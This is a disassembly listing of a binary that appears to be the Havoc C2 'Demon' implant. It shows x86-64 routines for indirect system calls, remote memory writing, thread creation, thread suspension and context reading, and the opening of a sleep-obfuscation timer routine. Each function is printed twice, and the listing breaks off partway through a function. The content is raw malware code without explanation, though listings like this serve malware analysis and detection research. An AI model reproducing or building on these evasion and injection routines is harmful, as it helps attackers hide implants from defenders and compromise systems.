File havoc_demon_9b6047883014e32c66300962e067762ee768a7a3f981ca51b1ce60ae7452421b.exe
Function:
Loading..
14001ffc0
14001ffc0SysNtTerminateThread:
14001ffc0push rbx
14001ffc1xor eax, eax
14001ffc3mov rbx, rcx
14001ffc6sub rsp, 64
14001ffcamov [rsp+48], rax
14001ffcfmov [rsp+56], rax
14001ffd4mov rax, [rip+50069]
14001ffdbcmp [rax+218], 0
14001ffe2je 0x140020025
14001ffe4mov rcx, [rax+2028]
14001ffebtest rcx, rcx
14001ffeeje 0x140020025
14001fff0mov r8w, [rax+2086]
14001fff8test r8w, r8w
14001fffcje 0x140020025
14001fffemov [rsp+48], rcx
140020003lea rcx, [rsp+48]
140020008mov [rsp+88], edx
14002000cmov [rsp+56], r8w
140020012call SysSetConfig
140020017mov edx, [rsp+88]
14002001bmov rcx, rbx
14002001ecall SysInvoke
140020023jmp 0x14002002e
140020025
140020025loc_140020025:
140020025mov rcx, rbx
140020028call [rax+684]
14002002e
14002002eloc_14002002e:
14002002emov [rsp+32], eax
140020032lea r9, [rip+37630]
140020039mov ebx, eax
14002003bmov r8l, 353
140020041lea rdx, [rip+51560]
140020048lea rcx, [rip+37137]
14002004fcall printf.constprop.0
140020054add rsp, 64
140020058mov eax, ebx
14002005apop rbx
14002005bret
14001ffc0
14001ffc0SysNtTerminateThread:
14001ffc0push rbx
14001ffc1xor eax, eax
14001ffc3mov rbx, rcx
14001ffc6sub rsp, 64
14001ffcamov [rsp+48], rax
14001ffcfmov [rsp+56], rax
14001ffd4mov rax, [rip+50069]
14001ffdbcmp [rax+218], 0
14001ffe2je 0x140020025
14001ffe4mov rcx, [rax+2028]
14001ffebtest rcx, rcx
14001ffeeje 0x140020025
14001fff0mov r8w, [rax+2086]
14001fff8test r8w, r8w
14001fffcje 0x140020025
14001fffemov [rsp+48], rcx
140020003lea rcx, [rsp+48]
140020008mov [rsp+88], edx
14002000cmov [rsp+56], r8w
140020012call SysSetConfig
140020017mov edx, [rsp+88]
14002001bmov rcx, rbx
14002001ecall SysInvoke
140020023jmp 0x14002002e
140020025
140020025loc_140020025:
140020025mov rcx, rbx
140020028call [rax+684]
14002002e
14002002eloc_14002002e:
14002002emov [rsp+32], eax
140020032lea r9, [rip+37630]
140020039mov ebx, eax
14002003bmov r8l, 353
140020041lea rdx, [rip+51560]
140020048lea rcx, [rip+37137]
14002004fcall printf.constprop.0
140020054add rsp, 64
140020058mov eax, ebx
14002005apop rbx
14002005bret
14001ffc0
14002005c
14002005c // align 0x10
14002005c // align 0x10
140020060
140020060SysNtUnmapViewOfSection:
140020060push rbx
140020061xor eax, eax
140020063mov rbx, rcx
140020066sub rsp, 64
14002006amov [rsp+48], rax
14002006fmov [rsp+56], rax
140020074mov rax, [rip+49909]
14002007bcmp [rax+218], 0
140020082je 0x1400200c7
140020084mov rcx, [rax+2028]
14002008btest rcx, rcx
14002008eje 0x1400200c7
140020090mov r8w, [rax+2082]
140020098test r8w, r8w
14002009cje 0x1400200c7
14002009emov [rsp+48], rcx
1400200a3lea rcx, [rsp+48]
1400200a8mov [rsp+88], rdx
1400200admov [rsp+56], r8w
1400200b3call SysSetConfig
1400200b8mov rdx, [rsp+88]
1400200bdmov rcx, rbx
1400200c0call SysInvoke
1400200c5jmp 0x1400200d0
1400200c7
1400200c7loc_1400200c7:
1400200c7mov rcx, rbx
1400200cacall [rax+668]
1400200d0
1400200d0loc_1400200d0:
1400200d0mov [rsp+32], eax
1400200d4lea r9, [rip+37404]
1400200dbmov ebx, eax
1400200ddmov r8l, 311
1400200e3lea rdx, [rip+51718]
1400200ealea rcx, [rip+36975]
1400200f1call printf.constprop.0
1400200f6add rsp, 64
1400200famov eax, ebx
1400200fcpop rbx
1400200fdret
140020060
140020060SysNtUnmapViewOfSection:
140020060push rbx
140020061xor eax, eax
140020063mov rbx, rcx
140020066sub rsp, 64
14002006amov [rsp+48], rax
14002006fmov [rsp+56], rax
140020074mov rax, [rip+49909]
14002007bcmp [rax+218], 0
140020082je 0x1400200c7
140020084mov rcx, [rax+2028]
14002008btest rcx, rcx
14002008eje 0x1400200c7
140020090mov r8w, [rax+2082]
140020098test r8w, r8w
14002009cje 0x1400200c7
14002009emov [rsp+48], rcx
1400200a3lea rcx, [rsp+48]
1400200a8mov [rsp+88], rdx
1400200admov [rsp+56], r8w
1400200b3call SysSetConfig
1400200b8mov rdx, [rsp+88]
1400200bdmov rcx, rbx
1400200c0call SysInvoke
1400200c5jmp 0x1400200d0
1400200c7
1400200c7loc_1400200c7:
1400200c7mov rcx, rbx
1400200cacall [rax+668]
1400200d0
1400200d0loc_1400200d0:
1400200d0mov [rsp+32], eax
1400200d4lea r9, [rip+37404]
1400200dbmov ebx, eax
1400200ddmov r8l, 311
1400200e3lea rdx, [rip+51718]
1400200ealea rcx, [rip+36975]
1400200f1call printf.constprop.0
1400200f6add rsp, 64
1400200famov eax, ebx
1400200fcpop rbx
1400200fdret
140020060
1400200fe
1400200fe // align 0x10
1400200fe // align 0x10
140020100
140020100SysNtWaitForSingleObject:
140020100push rbx
140020101xor eax, eax
140020103mov rbx, rcx
140020106movzx edx, dl
140020109sub rsp, 80
14002010dmov [rsp+64], rax
140020112mov [rsp+72], rax
140020117mov rax, [rip+49746]
14002011ecmp [rax+218], 0
140020125je 0x140020172
140020127mov rcx, [rax+2028]
14002012etest rcx, rcx
140020131je 0x140020172
140020133mov r9w, [rax+2072]
14002013btest r9w, r9w
14002013fje 0x140020172
140020141mov [rsp+64], rcx
140020146lea rcx, [rsp+64]
14002014bmov [rsp+112], r8
140020150mov [rsp+60], edx
140020154mov [rsp+72], r9w
14002015acall SysSetConfig
14002015fmov r8, [rsp+112]
140020164mov edx, [rsp+60]
140020168mov rcx, rbx
14002016bcall SysInvoke
140020170jmp 0x14002017b
140020172
140020172loc_140020172:
140020172mov rcx, rbx
140020175call [rax+620]
14002017b
14002017bloc_14002017b:
14002017bmov [rsp+32], eax
14002017flea r9, [rip+37146]
140020186mov ebx, eax
140020188mov r8l, 254
14002018elea rdx, [rip+51787]
140020195lea rcx, [rip+36804]
14002019ccall printf.constprop.0
1400201a1add rsp, 80
1400201a5mov eax, ebx
1400201a7pop rbx
1400201a8ret
140020100
140020100SysNtWaitForSingleObject:
140020100push rbx
140020101xor eax, eax
140020103mov rbx, rcx
140020106movzx edx, dl
140020109sub rsp, 80
14002010dmov [rsp+64], rax
140020112mov [rsp+72], rax
140020117mov rax, [rip+49746]
14002011ecmp [rax+218], 0
140020125je 0x140020172
140020127mov rcx, [rax+2028]
14002012etest rcx, rcx
140020131je 0x140020172
140020133mov r9w, [rax+2072]
14002013btest r9w, r9w
14002013fje 0x140020172
140020141mov [rsp+64], rcx
140020146lea rcx, [rsp+64]
14002014bmov [rsp+112], r8
140020150mov [rsp+60], edx
140020154mov [rsp+72], r9w
14002015acall SysSetConfig
14002015fmov r8, [rsp+112]
140020164mov edx, [rsp+60]
140020168mov rcx, rbx
14002016bcall SysInvoke
140020170jmp 0x14002017b
140020172
140020172loc_140020172:
140020172mov rcx, rbx
140020175call [rax+620]
14002017b
14002017bloc_14002017b:
14002017bmov [rsp+32], eax
14002017flea r9, [rip+37146]
140020186mov ebx, eax
140020188mov r8l, 254
14002018elea rdx, [rip+51787]
140020195lea rcx, [rip+36804]
14002019ccall printf.constprop.0
1400201a1add rsp, 80
1400201a5mov eax, ebx
1400201a7pop rbx
1400201a8ret
140020100
1400201a9
1400201a9 // align 0x10
1400201a9 // align 0x10
1400201b0
1400201b0SysNtWriteVirtualMemory:
1400201b0push rsi
1400201b1xor eax, eax
1400201b3push rbx
1400201b4mov rbx, rcx
1400201b7sub rsp, 72
1400201bbmov [rsp+48], rax
1400201c0mov rsi, [rsp+128]
1400201c8mov [rsp+56], rax
1400201cdmov rax, [rip+49564]
1400201d4cmp [rax+218], 0
1400201dbje 0x140020239
1400201ddmov rcx, [rax+2028]
1400201e4test rcx, rcx
1400201e7je 0x140020239
1400201e9mov r10w, [rax+2076]
1400201f1test r10w, r10w
1400201f5je 0x140020239
1400201f7mov [rsp+48], rcx
1400201fclea rcx, [rsp+48]
140020201mov [rsp+120], r9
140020206mov [rsp+112], r8
14002020bmov [rsp+104], rdx
140020210mov [rsp+56], r10w
140020216call SysSetConfig
14002021bmov [rsp+32], rsi
140020220mov r9, [rsp+120]
140020225mov rcx, rbx
140020228mov r8, [rsp+112]
14002022dmov rdx, [rsp+104]
140020232call SysInvoke
140020237jmp 0x140020247
140020239
140020239loc_140020239:
140020239mov [rsp+32], rsi
14002023emov rcx, rbx
140020241call [rax+644]
140020247
140020247loc_140020247:
140020247mov [rsp+32], eax
14002024blea r9, [rip+36988]
140020252mov ebx, eax
140020254mov r8l, 285
14002025alea rdx, [rip+51487]
140020261lea rcx, [rip+36600]
140020268call printf.constprop.0
14002026dadd rsp, 72
140020271mov eax, ebx
140020273pop rbx
140020274pop rsi
140020275ret
1400201b0
1400201b0SysNtWriteVirtualMemory:
1400201b0push rsi
1400201b1xor eax, eax
1400201b3push rbx
1400201b4mov rbx, rcx
1400201b7sub rsp, 72
1400201bbmov [rsp+48], rax
1400201c0mov rsi, [rsp+128]
1400201c8mov [rsp+56], rax
1400201cdmov rax, [rip+49564]
1400201d4cmp [rax+218], 0
1400201dbje 0x140020239
1400201ddmov rcx, [rax+2028]
1400201e4test rcx, rcx
1400201e7je 0x140020239
1400201e9mov r10w, [rax+2076]
1400201f1test r10w, r10w
1400201f5je 0x140020239
1400201f7mov [rsp+48], rcx
1400201fclea rcx, [rsp+48]
140020201mov [rsp+120], r9
140020206mov [rsp+112], r8
14002020bmov [rsp+104], rdx
140020210mov [rsp+56], r10w
140020216call SysSetConfig
14002021bmov [rsp+32], rsi
140020220mov r9, [rsp+120]
140020225mov rcx, rbx
140020228mov r8, [rsp+112]
14002022dmov rdx, [rsp+104]
140020232call SysInvoke
140020237jmp 0x140020247
140020239
140020239loc_140020239:
140020239mov [rsp+32], rsi
14002023emov rcx, rbx
140020241call [rax+644]
140020247
140020247loc_140020247:
140020247mov [rsp+32], eax
14002024blea r9, [rip+36988]
140020252mov ebx, eax
140020254mov r8l, 285
14002025alea rdx, [rip+51487]
140020261lea rcx, [rip+36600]
140020268call printf.constprop.0
14002026dadd rsp, 72
140020271mov eax, ebx
140020273pop rbx
140020274pop rsi
140020275ret
1400201b0
140020276
140020276 // align 0x10
140020276 // align 0x10
140020280
140020280ThreadCreate:
140020280push rsi
140020281mov rax, rdx
140020284push rbx
140020285xor ebx, ebx
140020287sub rsp, 168
14002028emov [rsp+96], rbx
140020293mov rdx, [rsp+224]
14002029bmov rsi, [rsp+232]
1400202a3cmp cl, 2
1400202a6je 0x140020326
1400202a8ja 0x1400202ca
1400202aatest cl, cl
1400202acjne 0x1400202f5
1400202aemov [rsp+32], rdx
1400202b3mov ecx, 2
1400202b8mov rdx, rax
1400202bbmov [rsp+40], rsi
1400202c0call ThreadCreate
1400202c5jmp 0x1400203f9
1400202ca
1400202caloc_1400202ca:
1400202cacmp cl, 3
1400202cdje 0x1400203f4
1400202d3movzx r9l, cl
1400202d7mov r8l, 276
1400202ddlea rdx, [rip+50156]
1400202e4lea rcx, [rip+38419]
1400202ebcall printf
1400202f0jmp 0x1400203f4
1400202f5
1400202f5loc_1400202f5:
1400202f5mov rcx, rax
1400202f8mov rax, [rip+49265]
1400202ffxor r11l, r11l
140020302xor r8l, r8l
140020305mov [rsp+32], rdx
14002030axor edx, edx
14002030cmov [rsp+48], rsi
140020311mov [rsp+40], r11l
140020316call [rax+764]
14002031cmov [rsp+96], rax
140020321jmp 0x1400203f4
140020326
140020326loc_140020326:
140020326lea r8, [rsp+120]
14002032bxor r10l, r10l
14002032exor ecx, ecx
140020330mov [rsp+40], rdx
140020335mov [rsp+80], r8
14002033axor r8l, r8l
14002033dmov edx, 0x1fffff
140020342mov [rsp+72], r8
140020347mov [rsp+64], r8
14002034cmov [rsp+56], r8
140020351xor r8l, r8l
140020354mov [rsp+32], r9
140020359mov r9, rax
14002035cmov [rsp+48], r10l
140020361mov [rsp+152], rcx
140020369mov [rsp+104], rcx
14002036emov [rsp+112], rcx
140020373lea rcx, [rsp+104]
140020378mov [rsp+144], rcx
140020380lea rcx, [rsp+96]
140020385mov [rsp+128], 0x10003
140020391mov [rsp+136], 16
14002039dmov [rsp+120], 40
1400203a6call SysNtCreateThreadEx
1400203abmov ebx, eax
1400203adtest eax, eax
1400203afjs 0x1400203bf
1400203b1test rsi, rsi
1400203b4je 0x1400203f4
1400203b6mov rax, [rsp+112]
1400203bbmov [rsi], eax
1400203bdjmp 0x1400203f4
1400203bf
1400203bfloc_1400203bf:
1400203bfmov r9l, eax
1400203c2mov r8l, 263
1400203c8lea rdx, [rip+49921]
1400203cflea rcx, [rip+38122]
1400203d6call printf
1400203dbmov rax, [rip+49038]
1400203e2mov ecx, ebx
1400203e4mov rsi, [rax+2230]
1400203ebcall [rax+348]
1400203f1mov [rsi+104], eax
1400203f4
1400203f4loc_1400203f4:
1400203f4mov rax, [rsp+96]
1400203f9
1400203f9loc_1400203f9:
1400203f9add rsp, 168
140020400pop rbx
140020401pop rsi
140020402ret
140020280
140020280ThreadCreate:
140020280push rsi
140020281mov rax, rdx
140020284push rbx
140020285xor ebx, ebx
140020287sub rsp, 168
14002028emov [rsp+96], rbx
140020293mov rdx, [rsp+224]
14002029bmov rsi, [rsp+232]
1400202a3cmp cl, 2
1400202a6je 0x140020326
1400202a8ja 0x1400202ca
1400202aatest cl, cl
1400202acjne 0x1400202f5
1400202aemov [rsp+32], rdx
1400202b3mov ecx, 2
1400202b8mov rdx, rax
1400202bbmov [rsp+40], rsi
1400202c0call ThreadCreate
1400202c5jmp 0x1400203f9
1400202ca
1400202caloc_1400202ca:
1400202cacmp cl, 3
1400202cdje 0x1400203f4
1400202d3movzx r9l, cl
1400202d7mov r8l, 276
1400202ddlea rdx, [rip+50156]
1400202e4lea rcx, [rip+38419]
1400202ebcall printf
1400202f0jmp 0x1400203f4
1400202f5
1400202f5loc_1400202f5:
1400202f5mov rcx, rax
1400202f8mov rax, [rip+49265]
1400202ffxor r11l, r11l
140020302xor r8l, r8l
140020305mov [rsp+32], rdx
14002030axor edx, edx
14002030cmov [rsp+48], rsi
140020311mov [rsp+40], r11l
140020316call [rax+764]
14002031cmov [rsp+96], rax
140020321jmp 0x1400203f4
140020326
140020326loc_140020326:
140020326lea r8, [rsp+120]
14002032bxor r10l, r10l
14002032exor ecx, ecx
140020330mov [rsp+40], rdx
140020335mov [rsp+80], r8
14002033axor r8l, r8l
14002033dmov edx, 0x1fffff
140020342mov [rsp+72], r8
140020347mov [rsp+64], r8
14002034cmov [rsp+56], r8
140020351xor r8l, r8l
140020354mov [rsp+32], r9
140020359mov r9, rax
14002035cmov [rsp+48], r10l
140020361mov [rsp+152], rcx
140020369mov [rsp+104], rcx
14002036emov [rsp+112], rcx
140020373lea rcx, [rsp+104]
140020378mov [rsp+144], rcx
140020380lea rcx, [rsp+96]
140020385mov [rsp+128], 0x10003
140020391mov [rsp+136], 16
14002039dmov [rsp+120], 40
1400203a6call SysNtCreateThreadEx
1400203abmov ebx, eax
1400203adtest eax, eax
1400203afjs 0x1400203bf
1400203b1test rsi, rsi
1400203b4je 0x1400203f4
1400203b6mov rax, [rsp+112]
1400203bbmov [rsi], eax
1400203bdjmp 0x1400203f4
1400203bf
1400203bfloc_1400203bf:
1400203bfmov r9l, eax
1400203c2mov r8l, 263
1400203c8lea rdx, [rip+49921]
1400203cflea rcx, [rip+38122]
1400203d6call printf
1400203dbmov rax, [rip+49038]
1400203e2mov ecx, ebx
1400203e4mov rsi, [rax+2230]
1400203ebcall [rax+348]
1400203f1mov [rsi+104], eax
1400203f4
1400203f4loc_1400203f4:
1400203f4mov rax, [rsp+96]
1400203f9
1400203f9loc_1400203f9:
1400203f9add rsp, 168
140020400pop rbx
140020401pop rsi
140020402ret
140020280
140020403
140020403 // align 0x10
140020403 // align 0x10
140020410
140020410ThreadQueryTib:
140020410push rbp
140020411xor eax, eax
140020413xor r10l, r10l
140020416xor r11l, r11l
140020419mov rbp, rsp
14002041cpush r15
14002041epush r14
140020420mov r14, 0x1000000040
14002042apush r13
14002042cpush r12
14002042epush rdi
14002042fpush rsi
140020430mov rsi, rdx
140020433push rbx
140020434xor ebx, ebx
140020436and rsp, -16
14002043asub rsp, 1456
140020441mov [rbp+16], rcx
140020445mov ecx, 12
14002044amov [rsp+96], r10
14002044flea r12, [rsp+88]
140020454lea r15, [rsp+112]
140020459lea rdi, [rsp+128]
140020461mov [rsp+104], r10
140020466rep stosd [rdi], eax
140020468mov ecx, 12
14002046dmov [rsp+112], r11
140020472lea rdi, [rsp+176]
14002047arep stosd [rdi], eax
14002047cmov ecx, 308
140020481mov [rsp+120], r11
140020486lea rdi, [rsp+224]
14002048erep stosd [rdi], eax
140020490mov rax, [rip+48857]
140020497mov [rsp+88], rbx
14002049cxor ebx, ebx
14002049emov [rsp+272], 0x10000b
1400204a9mov rax, [rax+2230]
1400204b0mov r13, [rax+72]
1400204b4lea rax, [rsp+128]
1400204bcmov [rsp+72], rax
1400204c1lea rax, [rsp+176]
1400204c9mov [rsp+64], rax
1400204celea rax, [rsp+224]
1400204d6mov [rsp+56], rax
1400204db
1400204dbloc_1400204db:
1400204dbxor eax, eax
1400204ddmov [rsp+40], r12
1400204e2xor r9l, r9l
1400204e5or rcx, -1
1400204e9mov [rsp+32], eax
1400204edmov r8l, 0x1fffff
1400204f3mov rdx, rbx
1400204f6call SysNtGetNextThread
1400204fbtest eax, eax
1400204fdjs 0x140020638
140020503test rbx, rbx
140020506je 0x140020510
140020508mov rcx, rbx
14002050bcall SysNtClose
140020510
140020510loc_140020510:
140020510xor r9l, r9l
140020513mov rbx, [rsp+88]
140020518lea rdi, [rsp+96]
14002051dmov edx, 26
140020522mov [rsp+32], r9
140020527mov r8, rdi
14002052amov r9l, 16
140020530mov rcx, rbx
140020533mov [rsp+104], r14
140020538mov [rsp+96], r15
14002053dcall SysNtQueryInformationThread
140020542test eax, eax
140020544js 0x1400204db
140020546mov eax, r13l
140020549cmp [rsp+120], rax
14002054eje 0x1400204db
140020550xor edx, edx
140020552mov rcx, rbx
140020555call SysNtSuspendThread
14002055atest eax, eax
14002055cjs 0x1400204db
140020562mov rdx, [rsp+56]
140020567mov rcx, rbx
14002056acall SysNtGetContextThread
14002056ftest eax, eax
140020571js 0x140020629
140020577xor r8l, r8l
14002057amov r9, [rsp+72]
14002057for rcx, -1
140020583mov [rsp+32], 48
14002058cmov [rsp+40], r8
140020591mov rdx, [rsp+376]
140020599xor r8l, r8l
14002059ccall SysNtQueryVirtualMemory
1400205a1test eax, eax
1400205a3js 0x140020629
1400205a9xor ecx, ecx
1400205abmov r9, [rsp+64]
1400205b0xor r8l, r8l
1400205b3mov [rsp+32], 48
1400205bcmov [rsp+40], rcx
1400205c1mov rdx, [rbp+16]
1400205c5or rcx, -1
1400205c9call SysNtQueryVirtualMemory
1400205cetest eax, eax
1400205d0js 0x140020629
1400205d2mov rax, [rsp+184]
1400205dacmp [rsp+136], rax
1400205e2jne 0x140020629
1400205e4xor edx, edx
1400205e6mov eax, 7
1400205ebmov r9l, 16
1400205f1mov r8, rdi
1400205f4mov [rsp+32], rdx
1400205f9shl rax, 35
1400205fdmov edx, 26
140020602mov rcx, rbx
140020605mov [rsp+104], rax
14002060amov [rsp+96], rsi
14002060fcall SysNtQueryInformationThread
140020614test eax, eax
140020616js 0x140020629
140020618xor edx, edx
14002061amov rcx, rbx
14002061dmov esi, 1
140020622call SysNtResumeThread
140020627jmp 0x14002063a
140020629
140020629loc_140020629:
140020629xor edx, edx
14002062bmov rcx, rbx
14002062ecall SysNtResumeThread
140020633jmp 0x1400204db
140020638
140020638loc_140020638:
140020638xor esi, esi
14002063a
14002063aloc_14002063a:
14002063atest rbx, rbx
14002063dje 0x140020647
14002063fmov rcx, rbx
140020642call SysNtClose
140020647
140020647loc_140020647:
140020647lea rsp, [rbp-56]
14002064bmov eax, esi
14002064dpop rbx
14002064epop rsi
14002064fpop rdi
140020650pop r12
140020652pop r13
140020654pop r14
140020656pop r15
140020658pop rbp
140020659ret
140020410
140020410ThreadQueryTib:
140020410push rbp
140020411xor eax, eax
140020413xor r10l, r10l
140020416xor r11l, r11l
140020419mov rbp, rsp
14002041cpush r15
14002041epush r14
140020420mov r14, 0x1000000040
14002042apush r13
14002042cpush r12
14002042epush rdi
14002042fpush rsi
140020430mov rsi, rdx
140020433push rbx
140020434xor ebx, ebx
140020436and rsp, -16
14002043asub rsp, 1456
140020441mov [rbp+16], rcx
140020445mov ecx, 12
14002044amov [rsp+96], r10
14002044flea r12, [rsp+88]
140020454lea r15, [rsp+112]
140020459lea rdi, [rsp+128]
140020461mov [rsp+104], r10
140020466rep stosd [rdi], eax
140020468mov ecx, 12
14002046dmov [rsp+112], r11
140020472lea rdi, [rsp+176]
14002047arep stosd [rdi], eax
14002047cmov ecx, 308
140020481mov [rsp+120], r11
140020486lea rdi, [rsp+224]
14002048erep stosd [rdi], eax
140020490mov rax, [rip+48857]
140020497mov [rsp+88], rbx
14002049cxor ebx, ebx
14002049emov [rsp+272], 0x10000b
1400204a9mov rax, [rax+2230]
1400204b0mov r13, [rax+72]
1400204b4lea rax, [rsp+128]
1400204bcmov [rsp+72], rax
1400204c1lea rax, [rsp+176]
1400204c9mov [rsp+64], rax
1400204celea rax, [rsp+224]
1400204d6mov [rsp+56], rax
1400204db
1400204dbloc_1400204db:
1400204dbxor eax, eax
1400204ddmov [rsp+40], r12
1400204e2xor r9l, r9l
1400204e5or rcx, -1
1400204e9mov [rsp+32], eax
1400204edmov r8l, 0x1fffff
1400204f3mov rdx, rbx
1400204f6call SysNtGetNextThread
1400204fbtest eax, eax
1400204fdjs 0x140020638
140020503test rbx, rbx
140020506je 0x140020510
140020508mov rcx, rbx
14002050bcall SysNtClose
140020510
140020510loc_140020510:
140020510xor r9l, r9l
140020513mov rbx, [rsp+88]
140020518lea rdi, [rsp+96]
14002051dmov edx, 26
140020522mov [rsp+32], r9
140020527mov r8, rdi
14002052amov r9l, 16
140020530mov rcx, rbx
140020533mov [rsp+104], r14
140020538mov [rsp+96], r15
14002053dcall SysNtQueryInformationThread
140020542test eax, eax
140020544js 0x1400204db
140020546mov eax, r13l
140020549cmp [rsp+120], rax
14002054eje 0x1400204db
140020550xor edx, edx
140020552mov rcx, rbx
140020555call SysNtSuspendThread
14002055atest eax, eax
14002055cjs 0x1400204db
140020562mov rdx, [rsp+56]
140020567mov rcx, rbx
14002056acall SysNtGetContextThread
14002056ftest eax, eax
140020571js 0x140020629
140020577xor r8l, r8l
14002057amov r9, [rsp+72]
14002057for rcx, -1
140020583mov [rsp+32], 48
14002058cmov [rsp+40], r8
140020591mov rdx, [rsp+376]
140020599xor r8l, r8l
14002059ccall SysNtQueryVirtualMemory
1400205a1test eax, eax
1400205a3js 0x140020629
1400205a9xor ecx, ecx
1400205abmov r9, [rsp+64]
1400205b0xor r8l, r8l
1400205b3mov [rsp+32], 48
1400205bcmov [rsp+40], rcx
1400205c1mov rdx, [rbp+16]
1400205c5or rcx, -1
1400205c9call SysNtQueryVirtualMemory
1400205cetest eax, eax
1400205d0js 0x140020629
1400205d2mov rax, [rsp+184]
1400205dacmp [rsp+136], rax
1400205e2jne 0x140020629
1400205e4xor edx, edx
1400205e6mov eax, 7
1400205ebmov r9l, 16
1400205f1mov r8, rdi
1400205f4mov [rsp+32], rdx
1400205f9shl rax, 35
1400205fdmov edx, 26
140020602mov rcx, rbx
140020605mov [rsp+104], rax
14002060amov [rsp+96], rsi
14002060fcall SysNtQueryInformationThread
140020614test eax, eax
140020616js 0x140020629
140020618xor edx, edx
14002061amov rcx, rbx
14002061dmov esi, 1
140020622call SysNtResumeThread
140020627jmp 0x14002063a
140020629
140020629loc_140020629:
140020629xor edx, edx
14002062bmov rcx, rbx
14002062ecall SysNtResumeThread
140020633jmp 0x1400204db
140020638
140020638loc_140020638:
140020638xor esi, esi
14002063a
14002063aloc_14002063a:
14002063atest rbx, rbx
14002063dje 0x140020647
14002063fmov rcx, rbx
140020642call SysNtClose
140020647
140020647loc_140020647:
140020647lea rsp, [rbp-56]
14002064bmov eax, esi
14002064dpop rbx
14002064epop rsi
14002064fpop rdi
140020650pop r12
140020652pop r13
140020654pop r14
140020656pop r15
140020658pop rbp
140020659ret
140020410
14002065a
14002065a // align 0x10
14002065a // align 0x10
140020660
140020660TimerObf:
140020660push rbp
140020661mov eax, 18800
140020666mov rbp, rsp
140020669push r15
14002066bpush r14
14002066dpush r13
14002066fpush r12
140020671push rdi
140020672push rsi
140020673push rbx
140020674and rsp, -16
140020678call ___chkstk_ms
14002067dxor r9l, r9l
140020680xor r10l, r10l
140020683sub rsp, rax
140020686mov r12l, ecx
140020689xor eax, eax
14002068bmov ecx, 308
140020690lea rdi, [rsp+320]
140020698mov rsi, [rip+48337]
14002069fmov [rbp+24], edx
1400206a2lea r13, [rsp+320]
1400206aarep stosd [rdi], eax
1400206acmov ecx, 308
1400206b1mov [rsp+104], r9
1400206b6lea rdi, [rsp+1552]
1400206berep stosd [rdi], eax
1400206c0lea rdi, [rsp+2784]
1400206c8mov ecx, 4004
1400206cdmov [rsp+112], r9
1400206d2rep stosd [rdi], eax
1400206d4lea rdi, [rsp+208]
1400206dcmov ecx, 14
1400206e1mov [rsp+120], r9
1400206e6rep stosd [rdi], eax
1400206e8lea rdi, [rsp+264]
1400206f0mov ecx, 14
1400206f5mov [rsp+128], r9
1400206fdrep stosd [rdi], eax
1400206ffmov rax, [rsi+44]
140020703mov [rsp+136], r9
14002070bmov [rsp+144], r9
140020713mov [rsp+72], rax
140020718mov eax, [rsi+52]
14002071bmov [rsp+152], r9
140020723mov [rsp+64], rax
140020728mov rax, [rsi+56]
14002072cmov [rsp+160], r9
140020734test rax, rax
140020737mov [rsp+168], r9
14002073fmov [rsp+176], r9
140020747mov [rsp+184], r9
14002074fmov [rsp+192], r9
140020757mov [rsp+200], r9
14002075fmov [rsp+100], r10l
140020764mov [rsp+84], 64
14002076cje 0x140020789
14002076emov edx, [rsi+64]
140020771test edx, edx
140020773je 0x140020789
140020775mov ebx, edx
140020777mov [rsp+72], rax
14002077cmov [rsp+64], rbx
140020781mov [rsp+84], 32
140020789
140020789loc_140020789:
140020789xor ebx, ebx
14002078b
14002078bloc_14002078b:
14002078bcall RandomNumber32
140020790mov edx, eax
140020792lea rax, [rsp+160]
14002079amov [rsp+rbx+160], dl
1400207a1inc rbx
1400207a4cmp rbx, 16
1400207a8jne 0x14002078b
1400207aamov r14l, [rsi+52]
1400207aemov r15, [rsi+44]
1400207b2mov [rsp+184], rax
1400207bamov rax, 0x1000000010
1400207c4cmp [rbp+24], 1
1400207c8mov [rsp+176], rax
1400207d0mov [rsp+200], r15
1400207d8mov [rsp+196], r14l
1400207e0mov [rsp+192], r14l
1400207e8jne 0x1400207f7
1400207ealea rcx, [rsp+104]
1400207efcall [rsi+404]
1400207f5jmp 0x140020849
1400207f7
1400207f7loc_1400207f7:
1400207f7cmp [rbp+24], 2
1400207fbmov rax, [rsi+564]
140020802je 0x14002082e
140020804
140020804loc_140020804:
140020804xor r8l, r8l
140020807xor r9l, r9l
14002080amov edx, 0x1f0003
14002080fmov [rsp+32], r8l
140020814lea rcx, [rsp+136]
14002081cxor r8l, r8l
14002081fcall [rsi+564]
140020825test eax, eax
140020827jns 0x140020869
140020829jmp 0x140020ed4
14002082e
14002082eloc_14002082e:
14002082exor edx, edx
140020830lea rcx, [rsp+152]
140020838xor r9l, r9l
14002083bxor r8l, r8l
14002083emov [rsp+32], edx
140020842mov edx, 0x1f0003
140020847call rax
140020849
140020849loc_140020849:
140020849mov r9l, eax
14002084ctest eax, eax
14002084ejns 0x140020804
140020850mov r8l, 605
140020856lea rdx, [rip+49171]
14002085dlea rcx, [rip+33891]
140020864jmp 0x140020eeb
140020869
140020869loc_140020869:
140020869xor eax, eax
14002086bxor r9l, r9l
14002086exor r8l, r8l
140020871mov edx, 0x1f0003
140020876mov [rsp+32], eax
14002087alea rcx, [rsp+128]
140020882call [rsi+564]
140020888test eax, eax
14002088ajs 0x140020ed4
140020890xor eax, eax
140020892xor r9l, r9l
140020895xor r8l, r8l
140020898mov edx, 0x1f0003
14002089dmov [rsp+32], eax
1400208a1lea rcx, [rsp+144]
1400208a9call [rsi+564]
1400208aftest eax, eax
1400208b1js 0x140020ed4
1400208b7cmp [rbp+24], 1
1400208bbjne 0x140020930
1400208bdxor eax, eax
1400208bflea rbx, [rsp+112]
1400208c4mov r9, r13
1400208c7mov rcx, [rsp+104]
1400208ccmov r8, [rsi+420]
1400208d3mov rdx, rbx
1400208d6mov [rsp+48], 32
1400208demov [rsp+40], eax
1400208e2mov [rsp+32], 100
1400208eacall [rsi+380]
1400208f0mov r9l, eax
1400208f3test eax, eax
1400208f5js 0x140020ebe
1400208fbxor eax, eax
1400208fdmov rcx, [rsp+104]
140020902mov rdx, rbx
140020905mov [rsp+48], 32
14002090dmov [rsp+40], eax
140020911mov r9, [rsp+136]
140020919lea r8, [rip-55568]
140020920mov [rsp+32], 200
140020928call [rsi+380]
14002092ejmp 0x1400209a7
140020930
140020930loc_140020930:
140020930xor ebx, ebx
140020932cmp [rbp+24], 2
140020936jne 0x1400209bd
14002093clea rbx, [rsp+112]
140020941mov r8, [rsi+420]
140020948mov r9, r13
14002094bmov [rsp+40], 12
140020953mov [rsp+32], 100
14002095bmov rdx, [rsp+152]
140020963mov rcx, rbx
140020966call [rsi+388]
14002096cmov r9l, eax
14002096ftest eax, eax
140020971js 0x140020ebe
140020977mov [rsp+40], 12
14002097fmov r9, [rsp+136]
